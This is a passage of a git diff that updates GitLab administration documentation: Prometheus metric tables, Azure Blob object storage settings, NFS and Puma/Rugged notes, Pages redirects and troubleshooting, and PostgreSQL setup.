@@ -108,6 +108,6 @@ User.admins.active.first.external?
If this returns true, the first admin user is an external user.
If you face this issue, you can temporarily
-[make the admin user a non-external user](../../../user/permissions.md#external-users-core-only)
+[make the admin user a non-external user](../../../user/permissions.md#external-users)
and then try to create the project.
Once the project is created, the admin user can be changed back to an external user.
diff --git a/doc/administration/monitoring/prometheus/gitlab_metrics.md b/doc/administration/monitoring/prometheus/gitlab_metrics.md
index bff689c0c0c..ae31a3db023 100644
--- a/doc/administration/monitoring/prometheus/gitlab_metrics.md
+++ b/doc/administration/monitoring/prometheus/gitlab_metrics.md
@@ -106,6 +106,13 @@ The following metrics are available:
| `successful_login_captcha_total` | Gauge | 11.0 | Counter of successful CAPTCHA attempts during login | |
| `auto_devops_pipelines_completed_total` | Counter | 12.7 | Counter of completed Auto DevOps pipelines, labeled by status | |
| `gitlab_metrics_dashboard_processing_time_ms` | Summary | 12.10 | Metrics dashboard processing time in milliseconds | service, stages |
+| `action_cable_active_connections` | Gauge | 13.4 | Number of ActionCable WS clients currently connected | `server_mode` |
+| `action_cable_pool_min_size` | Gauge | 13.4 | Minimum number of worker threads in ActionCable thread pool | `server_mode` |
+| `action_cable_pool_max_size` | Gauge | 13.4 | Maximum number of worker threads in ActionCable thread pool | `server_mode` |
+| `action_cable_pool_current_size` | Gauge | 13.4 | Current number of worker threads in ActionCable thread pool | `server_mode` |
+| `action_cable_pool_largest_size` | Gauge | 13.4 | Largest number of worker threads observed so far in ActionCable thread pool | `server_mode` |
+| `action_cable_pool_pending_tasks` | Gauge | 13.4 | Number of tasks waiting to be executed in ActionCable thread pool | `server_mode` |
+| `action_cable_pool_tasks_total` | Gauge | 13.4 | Total number of tasks executed in ActionCable thread pool | `server_mode` |
## Metrics controlled by a feature flag
@@ -157,25 +164,46 @@ configuration option in `gitlab.yml`. These metrics are served from the
| `geo_lfs_objects_synced_missing_on_primary` | Gauge | 10.7 | Number of LFS objects marked as synced due to the file missing on the primary | `url` |
| `geo_job_artifacts_synced_missing_on_primary` | Gauge | 10.7 | Number of job artifacts marked as synced due to the file missing on the primary | `url` |
| `geo_attachments_synced_missing_on_primary` | Gauge | 10.7 | Number of attachments marked as synced due to the file missing on the primary | `url` |
-| `geo_repositories_checksummed_count` | Gauge | 10.7 | Number of repositories checksummed on primary | `url` |
-| `geo_repositories_checksum_failed_count` | Gauge | 10.7 | Number of repositories failed to calculate the checksum on primary | `url` |
-| `geo_wikis_checksummed_count` | Gauge | 10.7 | Number of wikis checksummed on primary | `url` |
-| `geo_wikis_checksum_failed_count` | Gauge | 10.7 | Number of wikis failed to calculate the checksum on primary | `url` |
-| `geo_repositories_verified_count` | Gauge | 10.7 | Number of repositories verified on secondary | `url` |
-| `geo_repositories_verification_failed_count` | Gauge | 10.7 | Number of repositories failed to verify on secondary | `url` |
-| `geo_repositories_checksum_mismatch_count` | Gauge | 10.7 | Number of repositories that checksum mismatch on secondary | `url` |
-| `geo_wikis_verified_count` | Gauge | 10.7 | Number of wikis verified on secondary | `url` |
-| `geo_wikis_verification_failed_count` | Gauge | 10.7 | Number of wikis failed to verify on secondary | `url` |
-| `geo_wikis_checksum_mismatch_count` | Gauge | 10.7 | Number of wikis that checksum mismatch on secondary | `url` |
-| `geo_repositories_checked_count` | Gauge | 11.1 | Number of repositories that have been checked via `git fsck` | `url` |
-| `geo_repositories_checked_failed_count` | Gauge | 11.1 | Number of repositories that have a failure from `git fsck` | `url` |
-| `geo_repositories_retrying_verification_count` | Gauge | 11.2 | Number of repositories verification failures that Geo is actively trying to correct on secondary | `url` |
-| `geo_wikis_retrying_verification_count` | Gauge | 11.2 | Number of wikis verification failures that Geo is actively trying to correct on secondary | `url` |
+| `geo_repositories_checksummed` | Gauge | 10.7 | Number of repositories checksummed on primary | `url` |
+| `geo_repositories_checksum_failed` | Gauge | 10.7 | Number of repositories failed to calculate the checksum on primary | `url` |
+| `geo_wikis_checksummed` | Gauge | 10.7 | Number of wikis checksummed on primary | `url` |
+| `geo_wikis_checksum_failed` | Gauge | 10.7 | Number of wikis failed to calculate the checksum on primary | `url` |
+| `geo_repositories_verified` | Gauge | 10.7 | Number of repositories verified on secondary | `url` |
+| `geo_repositories_verification_failed` | Gauge | 10.7 | Number of repositories failed to verify on secondary | `url` |
+| `geo_repositories_checksum_mismatch` | Gauge | 10.7 | Number of repositories that checksum mismatch on secondary | `url` |
+| `geo_wikis_verified` | Gauge | 10.7 | Number of wikis verified on secondary | `url` |
+| `geo_wikis_verification_failed` | Gauge | 10.7 | Number of wikis failed to verify on secondary | `url` |
+| `geo_wikis_checksum_mismatch` | Gauge | 10.7 | Number of wikis that checksum mismatch on secondary | `url` |
+| `geo_repositories_checked` | Gauge | 11.1 | Number of repositories that have been checked via `git fsck` | `url` |
+| `geo_repositories_checked_failed` | Gauge | 11.1 | Number of repositories that have a failure from `git fsck` | `url` |
+| `geo_repositories_retrying_verification` | Gauge | 11.2 | Number of repositories verification failures that Geo is actively trying to correct on secondary | `url` |
+| `geo_wikis_retrying_verification` | Gauge | 11.2 | Number of wikis verification failures that Geo is actively trying to correct on secondary | `url` |
+| `geo_package_files` | Gauge | 13.0 | Number of package files on primary | `url` |
+| `geo_package_files_checksummed` | Gauge | 13.0 | Number of package files checksummed on primary | `url` |
+| `geo_package_files_checksum_failed` | Gauge | 13.0 | Number of package files failed to calculate the checksum on primary | `url` |
+| `geo_package_files_synced` | Gauge | 13.3 | Number of syncable package files synced on secondary | `url` |
+| `geo_package_files_failed` | Gauge | 13.3 | Number of syncable package files failed to sync on secondary | `url` |
+| `geo_package_files_registry` | Gauge | 13.3 | Number of package files in the registry | `url` |
+| `geo_terraform_states` | Gauge | 13.3 | Number of terraform states on primary | `url` |
+| `geo_terraform_states_checksummed` | Gauge | 13.3 | Number of terraform states checksummed on primary | `url` |
+| `geo_terraform_states_checksum_failed` | Gauge | 13.3 | Number of terraform states failed to calculate the checksum on primary | `url` |
+| `geo_terraform_states_synced` | Gauge | 13.3 | Number of syncable terraform states synced on secondary | `url` |
+| `geo_terraform_states_failed` | Gauge | 13.3 | Number of syncable terraform states failed to sync on secondary | `url` |
+| `geo_terraform_states_registry` | Gauge | 13.3 | Number of terraform states in the registry | `url` |
| `global_search_bulk_cron_queue_size` | Gauge | 12.10 | Number of database records waiting to be synchronized to Elasticsearch | |
| `global_search_awaiting_indexing_queue_size` | Gauge | 13.2 | Number of database updates waiting to be synchronized to Elasticsearch while indexing is paused | |
-| `package_files_count` | Gauge | 13.0 | Number of package files on primary | `url` |
-| `package_files_checksummed_count` | Gauge | 13.0 | Number of package files checksummed on primary | `url` |
-| `package_files_checksum_failed_count` | Gauge | 13.0 | Number of package files failed to calculate the checksum on primary
+| `geo_merge_request_diffs` | Gauge | 13.4 | Number of merge request diffs on primary | `url` |
+| `geo_merge_request_diffs_checksummed` | Gauge | 13.4 | Number of merge request diffs checksummed on primary | `url` |
+| `geo_merge_request_diffs_checksum_failed` | Gauge | 13.4 | Number of merge request diffs failed to calculate the checksum on primary | `url` |
+| `geo_merge_request_diffs_synced` | Gauge | 13.4 | Number of syncable merge request diffs synced on secondary | `url` |
+| `geo_merge_request_diffs_failed` | Gauge | 13.4 | Number of syncable merge request diffs failed to sync on secondary | `url` |
+| `geo_merge_request_diffs_registry` | Gauge | 13.4 | Number of merge request diffs in the registry | `url` |
+| `geo_snippet_repositories` | Gauge | 13.4 | Number of snippets on primary | `url` |
+| `geo_snippet_repositories_checksummed` | Gauge | 13.4 | Number of snippets checksummed on primary | `url` |
+| `geo_snippet_repositories_checksum_failed` | Gauge | 13.4 | Number of snippets failed to calculate the checksum on primary | `url` |
+| `geo_snippet_repositories_synced` | Gauge | 13.4 | Number of syncable snippets synced on secondary | `url` |
+| `geo_snippet_repositories_failed` | Gauge | 13.4 | Number of syncable snippets failed on secondary | `url` |
+| `geo_snippet_repositories_registry` | Gauge | 13.4 | Number of syncable snippets in the registry | `url` |
## Database load balancing metrics **(PREMIUM ONLY)**
@@ -185,6 +213,15 @@ The following metrics are available:
|:--------------------------------- |:--------- |:------------------------------------------------------------- |:-------------------------------------- |
| `db_load_balancing_hosts` | Gauge | [12.3](https://gitlab.com/gitlab-org/gitlab/-/issues/13630) | Current number of load balancing hosts |
+## Database partitioning metrics **(PREMIUM ONLY)**
+
+The following metrics are available:
+
+| Metric | Type | Since | Description |
+|:--------------------------------- |:--------- |:------------------------------------------------------------- |:----------------------------------------------------------------- |
+| `db_partitions_present` | Gauge | [13.4](https://gitlab.com/gitlab-org/gitlab/-/issues/227353) | Number of database partitions present |
+| `db_partitions_missing` | Gauge | [13.4](https://gitlab.com/gitlab-org/gitlab/-/issues/227353) | Number of database partitions currently expected, but not present |
+
## Connection pool metrics
These metrics record the status of the database
diff --git a/doc/administration/nfs.md b/doc/administration/nfs.md
index bae6bd0dd6c..b54f05ad536 100644
--- a/doc/administration/nfs.md
+++ b/doc/administration/nfs.md
@@ -31,10 +31,10 @@ bug](https://bugzilla.redhat.com/show_bug.cgi?id=1783554) that causes
following GitLab versions include a fix to work properly with that
kernel version:
-1. [12.10.12](https://about.gitlab.com/releases/2020/06/25/gitlab-12-10-12-released/)
-1. [13.0.7](https://about.gitlab.com/releases/2020/06/25/gitlab-13-0-7-released/)
-1. [13.1.1](https://about.gitlab.com/releases/2020/06/24/gitlab-13-1-1-released/)
-1. 13.2 and up
+- [12.10.12](https://about.gitlab.com/releases/2020/06/25/gitlab-12-10-12-released/)
+- [13.0.7](https://about.gitlab.com/releases/2020/06/25/gitlab-13-0-7-released/)
+- [13.1.1](https://about.gitlab.com/releases/2020/06/24/gitlab-13-1-1-released/)
+- 13.2 and up
If you are using that kernel version, be sure to upgrade GitLab to avoid
errors.
@@ -127,7 +127,9 @@ administrators to keep NFS server delegation disabled.
### Improving NFS performance with GitLab
-#### Improving NFS performance with Unicorn
+NFS performance with GitLab can in some cases be improved with
+[direct Git access](gitaly/index.md#direct-access-to-git-in-gitlab) using
+[Rugged](https://github.com/libgit2/rugged).
NOTE: **Note:**
From GitLab 12.1, it will automatically be detected if Rugged can and should be used per storage.
@@ -138,18 +140,16 @@ If you previously enabled Rugged using the feature flag, you will need to unset
sudo gitlab-rake gitlab:features:unset_rugged
```
-If the Rugged feature flag is explicitly set to either true or false, GitLab will use the value explicitly set.
+If the Rugged feature flag is explicitly set to either `true` or `false`, GitLab will use the value explicitly set.
#### Improving NFS performance with Puma
NOTE: **Note:**
-From GitLab 12.7, Rugged auto-detection is disabled if Puma thread count is greater than 1.
+From GitLab 12.7, Rugged is not automatically enabled if Puma thread count is greater than `1`.
-If you want to use Rugged with Puma, it is recommended to [set Puma thread count to 1](https://docs.gitlab.com/omnibus/settings/puma.html#puma-settings).
+If you want to use Rugged with Puma, [set Puma thread count to `1`](https://docs.gitlab.com/omnibus/settings/puma.html#puma-settings).
-If you want to use Rugged with Puma thread count more than 1, Rugged can be enabled using the [feature flag](../development/gitaly.md#legacy-rugged-code)
-
-If the Rugged feature flag is explicitly set to either true or false, GitLab will use the value explicitly set.
+If you want to use Rugged with Puma thread count more than `1`, Rugged can be enabled using the [feature flag](../development/gitaly.md#legacy-rugged-code).
## NFS client
@@ -173,6 +173,9 @@ Here is an example snippet to add to `/etc/fstab`:
10.1.0.1:/var/opt/gitlab/git-data /var/opt/gitlab/git-data nfs4 defaults,vers=4.1,hard,rsize=1048576,wsize=1048576,noatime,nofail,lookupcache=positive 0 2
```
+You can view information and options set for each of the mounted NFS file
+systems by running `nfsstat -m` and `cat /etc/fstab`.
+
Note there are several options that you should consider using:
| Setting | Description |
@@ -271,9 +274,6 @@ Using bind mounts will require manually making sure the data directories
are empty before attempting a restore. Read more about the
[restore prerequisites](../raketasks/backup_restore.md).
-You can view information and options set for each of the mounted NFS file
-systems by running `nfsstat -m` and `cat /etc/fstab`.
-
### Multiple NFS mounts
When using default Omnibus configuration you will need to share 4 data locations
diff --git a/doc/administration/object_storage.md b/doc/administration/object_storage.md
index 49716883310..39365ffe404 100644
--- a/doc/administration/object_storage.md
+++ b/doc/administration/object_storage.md
@@ -18,6 +18,7 @@ GitLab has been tested on a number of object storage providers:
- [Digital Ocean Spaces](https://www.digitalocean.com/products/spaces/)
- [Oracle Cloud Infrastructure](https://docs.cloud.oracle.com/en-us/iaas/Content/Object/Tasks/s3compatibleapi.htm)
- [Openstack Swift](https://docs.openstack.org/swift/latest/s3_compat.html)
+- [Azure Blob storage](https://docs.microsoft.com/en-us/azure/storage/blobs/storage-blobs-introduction)
- On-premises hardware and appliances from various storage vendors.
- MinIO. We have [a guide to deploying this](https://docs.gitlab.com/charts/advanced/external-object-storage/minio.html) within our Helm Chart documentation.
@@ -50,12 +51,17 @@ Using the consolidated object storage configuration has a number of advantages:
- It enables the use of [encrypted S3 buckets](#encrypted-s3-buckets).
- It [uploads files to S3 with proper `Content-MD5` headers](https://gitlab.com/gitlab-org/gitlab-workhorse/-/issues/222).
-NOTE: **Note:**
-Only AWS S3-compatible providers and Google are
-supported at the moment since [direct upload
-mode](../development/uploads.md#direct-upload) must be used. Background
-upload is not supported in this mode. We recommend direct upload mode because
-it does not require a shared folder, and [this setting may become the default](https://gitlab.com/gitlab-org/gitlab/-/issues/27331).
+Because [direct upload mode](../development/uploads.md#direct-upload)
+must be enabled, only the following providers can be used:
+
+- [Amazon S3-compatible providers](#s3-compatible-connection-settings)
+- [Google Cloud Storage](#google-cloud-storage-gcs)
+- [Azure Blob storage](#azure-blob-storage)
+
+Background upload is not supported with the consolidated object storage
+configuration. We recommend enabling direct upload mode because it does
+not require a shared folder, and [this setting may become the
+default](https://gitlab.com/gitlab-org/gitlab/-/issues/27331).
NOTE: **Note:**
Consolidated object storage configuration cannot be used for
@@ -112,7 +118,7 @@ See the section on [ETag mismatch errors](#etag-mismatch) for more details.
AWS access key and secret access key/value pairs. For example:
```ruby
- gitlab_rails['object_store_connection'] = {
+ gitlab_rails['object_store']['connection'] = {
'provider' => 'AWS',
'region' => '<eu-central-1>',
'use_iam_profile' => true
@@ -158,7 +164,6 @@ See the section on [ETag mismatch errors](#etag-mismatch) for more details.
```toml
[object_storage]
- enabled = true
provider = "AWS"
[object_storage.s3]
@@ -272,6 +277,61 @@ gitlab_rails['object_store']['connection'] = {
}
```
+#### Azure Blob storage
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/25877) in GitLab 13.4.
+
+Although Azure uses the word `container` to denote a collection of
+blobs, GitLab standardizes on the term `bucket`. Be sure to configure
+Azure container names in the `bucket` settings.
+
+The following are the valid connection parameters for Azure. Read the
+[Azure Blob storage documentation](https://docs.microsoft.com/en-us/azure/storage/blobs/storage-blobs-introduction)
+to learn more.
+
+| Setting | Description | Example |
+|---------|-------------|---------|
+| `provider` | Provider name | `AzureRM` |
+| `azure_storage_account_name` | Name of the Azure Blob Storage account used to access the storage | `azuretest` |
+| `azure_storage_access_key` | Storage account access key used to access the container. This is typically a secret, 512-bit encryption key encoded in base64. | `czV2OHkvQj9FKEgrTWJRZVRoV21ZcTN0Nnc5eiRDJkYpSkBOY1JmVWpYbjJy\nNHU3eCFBJUQqRy1LYVBkU2dWaw==\n` |
+| `azure_storage_domain` | Domain name used to contact the Azure Blob Storage API (optional). Defaults to `blob.core.windows.net`. Set this if you are using Azure China, Azure Germany, Azure US Government, or some other custom Azure domain. | `blob.core.windows.net` |
+
+##### Azure example (consolidated form)
+
+For Omnibus installations, this is an example of the `connection` setting:
+
+```ruby
+gitlab_rails['object_store']['connection'] = {
+ 'provider' => 'AzureRM',
+ 'azure_storage_account_name' => '<AZURE STORAGE ACCOUNT NAME>',
+ 'azure_storage_access_key' => '<AZURE STORAGE ACCESS KEY>',
+ 'azure_storage_domain' => '<AZURE STORAGE DOMAIN>',
+}
+```
+
+###### Azure Workhorse settings (source installs only)
+
+NOTE: **Note:**
+For source installations, Workhorse needs to be configured with the
+Azure credentials as well. This is not needed in Omnibus installs because
+the Workhorse settings are populated from the settings above.
+
+1. Edit `/home/git/gitlab-workhorse/config.toml` and add or amend the following lines:
+
+ ```toml
+ [object_storage]
+ provider = "AzureRM"
+
+ [object_storage.azurerm]
+ azure_storage_account_name = "<AZURE STORAGE ACCOUNT NAME>"
+ azure_storage_access_key = "<AZURE STORAGE ACCESS KEY>"
+ ```
+
+If you are using a custom Azure storage domain, note that
+`azure_storage_domain` does **not** have to be set in the Workhorse
+configuration. This information is exchanged in an API call between
+GitLab Rails and Workhorse.
+
#### OpenStack-compatible connection settings
NOTE: **Note:**
@@ -279,7 +339,7 @@ This is not compatible with the consolidated object storage form.
OpenStack Swift is only supported with the storage-specific form. See the
[S3 settings](#s3-compatible-connection-settings) if you want to use the consolidated form.
-While OpenStack Swift provides S3 compatibliity, some users may want to use the
+While OpenStack Swift provides S3 compatibility, some users may want to use the
[Swift API](https://docs.openstack.org/swift/latest/api/object_api_v1_overview.html).
Here are the valid connection settings below for the Swift API, provided by
[fog-openstack](https://github.com/fog/fog-openstack):
@@ -445,15 +505,15 @@ supported by consolidated configuration form, refer to the following guides:
| [Backups](../raketasks/backup_restore.md#uploading-backups-to-a-remote-cloud-storage)|No|
| [Job artifacts](job_artifacts.md#using-object-storage) and [incremental logging](job_logs.md#new-incremental-logging-architecture) | Yes |
| [LFS objects](lfs/index.md#storing-lfs-objects-in-remote-object-storage) | Yes |
-| [Uploads](uploads.md#using-object-storage-core-only) | Yes |
+| [Uploads](uploads.md#using-object-storage) | Yes |
| [Container Registry](packages/container_registry.md#use-object-storage) (optional feature) | No |
| [Merge request diffs](merge_request_diffs.md#using-object-storage) | Yes |
| [Mattermost](https://docs.mattermost.com/administration/config-settings.html#file-storage)| No |
| [Packages](packages/index.md#using-object-storage) (optional feature) **(PREMIUM ONLY)** | Yes |
| [Dependency Proxy](packages/dependency_proxy.md#using-object-storage) (optional feature) **(PREMIUM ONLY)** | Yes |
| [Pseudonymizer](pseudonymizer.md#configuration) (optional feature) **(ULTIMATE ONLY)** | No |
-| [Autoscale Runner caching](https://docs.gitlab.com/runner/configuration/autoscale.html#distributed-runners-caching) (optional for improved performance) | No |
-| [Terraform state files](terraform_state.md#using-object-storage-core-only) | Yes |
+| [Autoscale runner caching](https://docs.gitlab.com/runner/configuration/autoscale.html#distributed-runners-caching) (optional for improved performance) | No |
+| [Terraform state files](terraform_state.md#using-object-storage) | Yes |
### Other alternatives to filesystem storage
diff --git a/doc/administration/operations/fast_ssh_key_lookup.md b/doc/administration/operations/fast_ssh_key_lookup.md
index b874a4257f0..6cd393be330 100644
--- a/doc/administration/operations/fast_ssh_key_lookup.md
+++ b/doc/administration/operations/fast_ssh_key_lookup.md
@@ -32,10 +32,10 @@ feature for CentOS 6, follow [the instructions on how to build and install a cus
By default, GitLab manages an `authorized_keys` file, which contains all the
public SSH keys for users allowed to access GitLab. However, to maintain a
-single source of truth, [Geo](../geo/replication/index.md) needs to be configured to perform SSH fingerprint
+single source of truth, [Geo](../geo/index.md) needs to be configured to perform SSH fingerprint
lookups via database lookup.
-As part of [setting up Geo](../geo/replication/index.md#setup-instructions),
+As part of [setting up Geo](../geo/index.md#setup-instructions),
you will be required to follow the steps outlined below for both the primary and
secondary nodes, but note that the `Write to "authorized keys" file` checkbox
only needs to be unchecked on the primary node since it will be reflected
diff --git a/doc/administration/operations/puma.md b/doc/administration/operations/puma.md
index e7b4bb88faf..f5b09d7a978 100644
--- a/doc/administration/operations/puma.md
+++ b/doc/administration/operations/puma.md
@@ -1,6 +1,6 @@
# Switching to Puma
-As of GitLab 12.9, [Puma](https://github.com/puma/puma) has replaced [Unicorn](https://yhbt.net/unicorn/).
+As of GitLab 12.9, [Puma](https://github.com/puma/puma) has replaced [Unicorn](https://yhbt.net/unicorn/)
as the default web server. From GitLab 13.0, the following run Puma instead of Unicorn unless
explicitly configured not to:
@@ -36,7 +36,8 @@ For deployments where NFS is used to store Git repository, we allow GitLab to us
[Rugged](https://github.com/libgit2/rugged).
Rugged usage is automatically enabled if direct Git access
-[is available](../gitaly/index.md#how-it-works), unless it is disabled by
+[is available](../gitaly/index.md#how-it-works)
+and Puma is running single threaded, unless it is disabled by
[feature flags](../../development/gitaly.md#legacy-rugged-code).
MRI Ruby uses a GVL. This allows MRI Ruby to be multi-threaded, but running at
@@ -49,7 +50,7 @@ We are actively working on removing Rugged usage. Even though performance withou
is acceptable today, in some cases it might be still beneficial to run with it.
Given the caveat of running Rugged with multi-threaded Puma, and acceptable
-performance of Gitaly, we are disabling Rugged usage if Puma multi-threaded is
+performance of Gitaly, we disable Rugged usage if Puma multi-threaded is
used (when Puma is configured to run with more than one thread).
This default behavior may not be the optimal configuration in some situations. If Rugged
@@ -57,7 +58,6 @@ plays an important role in your deployment, we suggest you benchmark to find the
optimal configuration:
- The safest option is to start with single-threaded Puma. When working with
-Rugged, single-threaded Puma does work the same as Unicorn.
-
-- To force Rugged auto detect with multi-threaded Puma, you can use [feature
-flags](../../development/gitaly.md#legacy-rugged-code).
+ Rugged, single-threaded Puma works the same as Unicorn.
+- To force Rugged to be used with multi-threaded Puma, you can use
+ [feature flags](../../development/gitaly.md#legacy-rugged-code).
diff --git a/doc/administration/operations/sidekiq_memory_killer.md b/doc/administration/operations/sidekiq_memory_killer.md
index e829d735c4f..d1ff98a0079 100644
--- a/doc/administration/operations/sidekiq_memory_killer.md
+++ b/doc/administration/operations/sidekiq_memory_killer.md
@@ -26,8 +26,8 @@ run as a process group leader (e.g., using `chpst -P`). If using Omnibus or the
The MemoryKiller is controlled using environment variables.
-- `SIDEKIQ_DAEMON_MEMORY_KILLER`: defaults to 0. When set to 1, the MemoryKiller
- works in _daemon_ mode. Otherwise, the MemoryKiller works in _legacy_ mode.
+- `SIDEKIQ_DAEMON_MEMORY_KILLER`: defaults to 1. When set to 0, the MemoryKiller
+ works in _legacy_ mode. Otherwise, the MemoryKiller works in _daemon_ mode.
In _legacy_ mode, the MemoryKiller checks the Sidekiq process RSS after each job.
diff --git a/doc/administration/packages/container_registry.md b/doc/administration/packages/container_registry.md
index 1883f6659e6..74af5c8149b 100644
--- a/doc/administration/packages/container_registry.md
+++ b/doc/administration/packages/container_registry.md
@@ -750,11 +750,15 @@ U = <user_id>
# Get required details / objects
user = User.find_by_id(U)
project = Project.find_by_id(P)
-repo = ContainerRepository.find_by(project_id: P)
policy = ContainerExpirationPolicy.find_by(project_id: P)
-# Start the tag cleanup
-Projects::ContainerRepository::CleanupTagsService.new(project, user, policy.attributes.except("created_at", "updated_at")).execute(repo)
+# Loop through each container repository
+project.container_repositories.find_each do |repo|
+ puts repo.attributes
+
+ # Start the tag cleanup
+ puts Projects::ContainerRepository::CleanupTagsService.new(project, user, policy.attributes.except("created_at", "updated_at")).execute(repo)
+end
```
NOTE: **Note:**
@@ -988,8 +992,8 @@ thus the error above.
While GitLab doesn't support using self-signed certificates with Container
Registry out of the box, it is possible to make it work by
[instructing the Docker daemon to trust the self-signed certificates](https://docs.docker.com/registry/insecure/#use-self-signed-certificates),
-mounting the Docker daemon and setting `privileged = false` in the Runner's
-`config.toml`. Setting `privileged = true` takes precedence over the Docker daemon:
+mounting the Docker daemon and setting `privileged = false` in the GitLab Runner
+`config.toml` file. Setting `privileged = true` takes precedence over the Docker daemon:
```toml
[runners.docker]
diff --git a/doc/administration/packages/index.md b/doc/administration/packages/index.md
index 3af1f0c933b..1061f3c33db 100644
--- a/doc/administration/packages/index.md
+++ b/doc/administration/packages/index.md
@@ -109,7 +109,6 @@ We recommend using the [consolidated object storage settings](../object_storage.
```ruby
gitlab_rails['packages_enabled'] = true
- gitlab_rails['packages_storage_path'] = "/var/opt/gitlab/gitlab-rails/shared/packages"
gitlab_rails['packages_object_store_enabled'] = true
gitlab_rails['packages_object_store_remote_directory'] = "packages" # The bucket name.
gitlab_rails['packages_object_store_direct_upload'] = false # Use Object Storage directly for uploads instead of background uploads if enabled (Default: false).
@@ -123,6 +122,8 @@ We recommend using the [consolidated object storage settings](../object_storage.
#'region' => 'eu-west-1',
#'aws_access_key_id' => 'AWS_ACCESS_KEY_ID',
#'aws_secret_access_key' => 'AWS_SECRET_ACCESS_KEY',
+ ## If an IAM profile is being used with AWS, omit the aws_access_key_id and aws_secret_access_key and uncomment
+ #'use_iam_profile' => true,
##
## If the provider is other than AWS (an S3-compatible one), uncomment the following
##
diff --git a/doc/administration/pages/index.md b/doc/administration/pages/index.md
index 9e2aa602767..3c0030be629 100644
--- a/doc/administration/pages/index.md
+++ b/doc/administration/pages/index.md
@@ -235,6 +235,7 @@ control over how the Pages daemon runs and serves content in your environment.
| `pages_path` | The directory on disk where pages are stored, defaults to `GITLAB-RAILS/shared/pages`.
| `pages_nginx[]` | |
| `enable` | Include a virtual host `server{}` block for Pages inside NGINX. Needed for NGINX to proxy traffic back to the Pages daemon. Set to `false` if the Pages daemon should directly receive all requests, for example, when using [custom domains](index.md#custom-domains).
+| `FF_ENABLE_REDIRECTS` | Feature flag to enable redirects. See the [redirects documentation](../../user/project/pages/redirects.md#enable-or-disable-redirects) for more info. |
---
@@ -424,6 +425,10 @@ Authority (CA) in the system certificate store.
For Omnibus, this is fixed by [installing a custom CA in Omnibus GitLab](https://docs.gitlab.com/omnibus/settings/ssl.html#install-custom-public-certificates).
+## Enable redirects
+
+In GitLab Pages, you can [enable the redirects feature](../../user/project/pages/redirects.md#enable-or-disable-redirects) to configure rules to forward one URL to another using HTTP redirects.
+
## Activate verbose logging for daemon
Verbose logging was [introduced](https://gitlab.com/gitlab-org/omnibus-gitlab/-/merge_requests/2533) in
@@ -588,8 +593,9 @@ database encryption. Proceed with caution.
1. On the **GitLab server**, make the following changes to `/etc/gitlab/gitlab.rb`:
```ruby
- gitlab_pages['enable'] = false
pages_external_url "http://<pages_server_URL>"
+ gitlab_pages['enable'] = false
+ gitlab_rails['pages_enabled']=false
gitlab_rails['pages_path'] = "/mnt/pages"
```
@@ -622,7 +628,7 @@ For more details see this [blog post](https://about.gitlab.com/blog/2020/08/03/h
GitLab Pages can use an API-based configuration. This replaces disk source configuration, which
was used prior to GitLab 13.0. Follow these steps to enable it:
-1. Add the following to your `/etc/gitlab/gitlab.erb` file:
+1. Add the following to your `/etc/gitlab/gitlab.rb` file:
```ruby
gitlab_pages['domain_config_source'] = "gitlab"
@@ -720,6 +726,24 @@ sudo cp /opt/gitlab/embedded/ssl/certs/cacert.pem /var/opt/gitlab/gitlab-rails/s
sudo cp /opt/gitlab/embedded/ssl/certs/cacert.pem /var/opt/gitlab/gitlab-rails/shared/pages/etc/ssl/ca-bundle.pem
```
+### 502 error when connecting to GitLab Pages proxy when server does not listen over IPv6
+
+In some cases, NGINX might default to using IPv6 to connect to the GitLab Pages
+service even when the server does not listen over IPv6. You can identify when
+this is happening if you see something similar to the log entry below in the
+`gitlab_pages_error.log`:
+
+```plaintext
+2020/02/24 16:32:05 [error] 112654#0: *4982804 connect() failed (111: Connection refused) while connecting to upstream, client: 123.123.123.123, server: ~^(?<group>.*)\.pages\.example\.com$, request: "GET /-/group/project/-/jobs/1234/artifacts/artifact.txt HTTP/1.1", upstream: "http://[::1]:8090//-/group/project/-/jobs/1234/artifacts/artifact.txt", host: "group.example.com"
+```
+
+To resolve this, set an explicit IP and port for the GitLab Pages `listen_proxy` setting
+to define the explicit address that the GitLab Pages daemon should listen on:
+
+```ruby
+gitlab_pages['listen_proxy'] = '127.0.0.1:8090'
+```
+
### 404 error after transferring project to a different group or user
If you encounter a `404 Not Found` error a Pages site after transferring a project to
diff --git a/doc/administration/pages/source.md b/doc/administration/pages/source.md
index 486bc7a8777..662817e7411 100644
--- a/doc/administration/pages/source.md
+++ b/doc/administration/pages/source.md
@@ -61,7 +61,7 @@ Before proceeding with the Pages configuration, make sure that:
Pages artifacts.
1. (Optional) You have a **wildcard certificate** for the Pages domain if you
decide to serve Pages (`*.example.io`) under HTTPS.
-1. (Optional but recommended) You have configured and enabled the [Shared Runners](../../ci/runners/README.md)
+1. (Optional but recommended) You have configured and enabled the [shared runners](../../ci/runners/README.md)
so that your users don't have to bring their own.
### DNS configuration
@@ -347,6 +347,10 @@ world. Custom domains and TLS are supported.
1. Restart NGINX
1. [Restart GitLab](../restart_gitlab.md#installations-from-source)
+## Enable redirects
+
+In GitLab Pages, you can [enable the redirects feature](../../user/project/pages/redirects.md#enable-or-disable-redirects) to configure rules to forward one URL to another using HTTP redirects.
+
## NGINX caveats
NOTE: **Note:**
@@ -421,7 +425,7 @@ Pages access control is disabled by default. To enable it:
auth-server=<URL of the GitLab instance>
```
-1. Users can now configure it in their [projects' settings](../../user/project/pages/introduction.md#gitlab-pages-access-control-core).
+1. Users can now configure it in their [projects' settings](../../user/project/pages/introduction.md#gitlab-pages-access-control).
## Change storage path
diff --git a/doc/administration/postgresql/external.md b/doc/administration/postgresql/external.md
index e2cfb95ec48..632b68fb014 100644
--- a/doc/administration/postgresql/external.md
+++ b/doc/administration/postgresql/external.md
@@ -11,8 +11,7 @@ If you use a cloud-managed service, or provide your own PostgreSQL instance:
1. Set up PostgreSQL according to the
[database requirements document](../../install/requirements.md#database).
-1. Set up a `gitlab` username with a password of your choice. The `gitlab` user
- needs privileges to create the `gitlabhq_production` database.
+1. Set up a `gitlab` user with a password of your choice, create the `gitlabhq_production` database, and make the user an owner of the database. You can see an example of this setup in the [installation from source documentation](../../install/installation.md#6-database).
1. If you are using a cloud-managed service, you may need to grant additional
roles to your `gitlab` user:
- Amazon RDS requires the [`rds_superuser`](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/Appendix.PostgreSQL.CommonDBATasks.html#Appendix.PostgreSQL.CommonDBATasks.Roles) role.
diff --git a/doc/administration/raketasks/doctor.md b/doc/administration/raketasks/doctor.md
index 2c1b6928663..62d0af70706 100644
